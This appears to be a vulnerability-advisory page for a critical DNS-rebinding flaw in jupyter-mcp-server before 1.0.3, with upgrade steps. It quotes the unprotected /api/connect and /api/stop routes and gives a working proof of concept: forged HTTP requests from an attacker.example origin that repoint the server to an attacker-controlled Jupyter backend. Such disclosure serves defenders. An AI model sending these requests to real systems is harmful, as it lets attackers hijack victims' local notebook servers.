CVE-2026-77359: Jupyter MCP Server: Browser DNS rebinding can hijack the Jupyter backend through management routes
Critical
- OSV id
- GHSA-9x8x-crjq-g64h
- Also known as
- CVE-2026-77359
- Published
- Last modified
Affected packages
| Package | Affected versions | Fixed in |
|---|---|---|
| jupyter-mcp-server PyPI |
< 1.0.3 | 1.0.3 |
How to fix it
Upgrade jupyter-mcp-server to 1.0.3 or later.
# in requirements.txt: change the line to jupyter-mcp-server==1.0.3
pip install -r requirements.txt
- If it is an indirect dependency, upgrade the package that depends on it, or add a minimum version constraint for it (e.g. in constraints.txt, or as a dependency in pyproject.toml).
- Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.
Not sure whether your project uses an affected version? Check your lockfile below for free.
Details
Standalone streamable-http mode in datalayer/jupyter-mcp-server rejects forged Host and Origin headers on /mcp, but custom management routes mounted on the same application do not get the same browser-origin protection. A malicious website can keep an attacker origin while its hostname resolves to 127.0.0.1 or a private target address, then send PUT /api/connect to replace the MCP server's active Jupyter backend. The route accepts the browser-shaped request and makes the server start a kernel client against attacker-controlled infrastructure.
The protected /mcp endpoint shows the intended browser-origin boundary. With MCP_TOKEN configured, /mcp rejects forged browser headers:
POST /mcp with Authorization: Bearer SCAN_MCP_TOKEN
Host: attacker.example:8142
Origin: http://attacker.example:8142
HTTP 421 Invalid Host header
The vulnerable route is jupyter_mcp_server/server.py:143-187. It parses caller JSON, updates the active Jupyter backend configuration, resets ServerContext, and starts the kernel without applying the /mcp Host/Origin rejection to the custom route:
@mcp.custom_route("/api/connect", ["PUT"])
async def connect(request: Request):
data = await request.json()
document_runtime = DocumentRuntime(**data)
set_config(
provider=document_runtime.provider,
runtime_url=document_runtime.runtime_url,
runtime_id=document_runtime.runtime_id,
runtime_token=document_runtime.runtime_token,
document_url=document_runtime.document_url,
document_id=document_runtime.document_id,
document_token=document_runtime.document_token,
allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell"
)
ServerContext.reset()
try:
__start_kernel()
return JSONResponse({"success": True})
/api/stop is also state-changing and accepts the same browser-origin route shape:
# jupyter_mcp_server/server.py:190-199
@mcp.custom_route("/api/stop", ["DELETE"])
async def stop(request: Request):
try:
current_notebook = notebook_manager.get_current_notebook() or "default"
if current_notebook in notebook_manager:
notebook_manager.remove_notebook(current_notebook)
return JSONResponse({"success": True})
Proof of concept
Run the affected version with MCP_TOKEN configured:
git clone https://github.com/datalayer/jupyter-mcp-server
cd jupyter-mcp-server
git checkout 27b91e551d8bbca2da32c334f9f13267290ff815
python3.12 -m venv .venv
. .venv/bin/activate
python -m pip install -e .
MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \
--transport streamable-http \
--start-new-runtime false \
--jupyterlab false \
--mcp-token SCAN_MCP_TOKEN \
--port 8083
First, show that /mcp rejects the browser-shaped request:
POST /mcp HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Authorization: Bearer SCAN_MCP_TOKEN
Content-Type: application/json
Accept: application/json, text/event-stream
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}
Observed response:
HTTP/1.1 421
Invalid Host header
Now send the same browser-origin shape to the custom management route. In a browser DNS-rebinding attack, the attacker-controlled page keeps an attacker origin while the hostname resolves to 127.0.0.1 or the private MCP listener:
PUT /api/connect HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Content-Type: application/json
{
"provider": "jupyter",
"runtime_url": "http://127.0.0.1:9183",
"runtime_id": "",
"runtime_token": "ATTACKER_TOKEN_REBIND",
"document_url": "http://127.0.0.1:9183",
"document_id": "demo.ipynb",
"document_token": "ATTACKER_TOKEN_REBIND"
}
Observed response:
HTTP/1.1 200 OK
content-type: application/json
{"success":true}
The server log shows that /api/connect accepted the attacker-chosen backend despite the browser-origin headers:
Connect endpoint received - runtime_url: 'http://127.0.0.1:9183',
document_url: 'http://127.0.0.1:9183', provider: jupyter
Starting the kernel client...
Default notebook kernel started successfully
When an attacker-controlled backend is listening on 127.0.0.1:9183, it receives Jupyter API traffic from the MCP server:
POST /api/kernels
Authorization: Bearer ATTACKER_TOKEN_REBIND
GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_REBIND
Impact
The protected /mcp endpoint rejects forged Host and Origin values, but adjacent custom routes accept them and perform sensitive state changes. A web attacker can use DNS rebinding to reach a local, LAN, VPN, or Docker-published MCP listener from the victim's browser, stop the current notebook kernel through /api/stop, replace the configured runtime_url and document_url through /api/connect, and cause the MCP
References
- GHSA-9x8x-crjq-g64h on OSV.dev
- Web: https://github.com/datalayer/jupyter-mcp-server/security/advisories/GHSA-9x8x-crjq-g64h
- Advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-77359
- Web: https://github.com/datalayer/jupyter-mcp-server/pull/262
- Web: https://github.com/datalayer/jupyter-mcp-server/commit/c2e98fca2df1bbd608451ec416aaa38a4
- Package: https://github.com/datalayer/jupyter-mcp-server
- Web: https://github.com/datalayer/jupyter-mcp-server/releases/tag/v1.0.3
Am I affected?
Upload or paste your lockfile. We check every package version in it against OSV.dev, this advisory included, and email you the vulnerable ones with the version that fixes them. Free, and no account needed.
About this data
Source: GitHub Advisory Database via OSV.dev (CC-BY 4.0). Severity comes from the advisory's own rating when it has one, else from its CVSS score.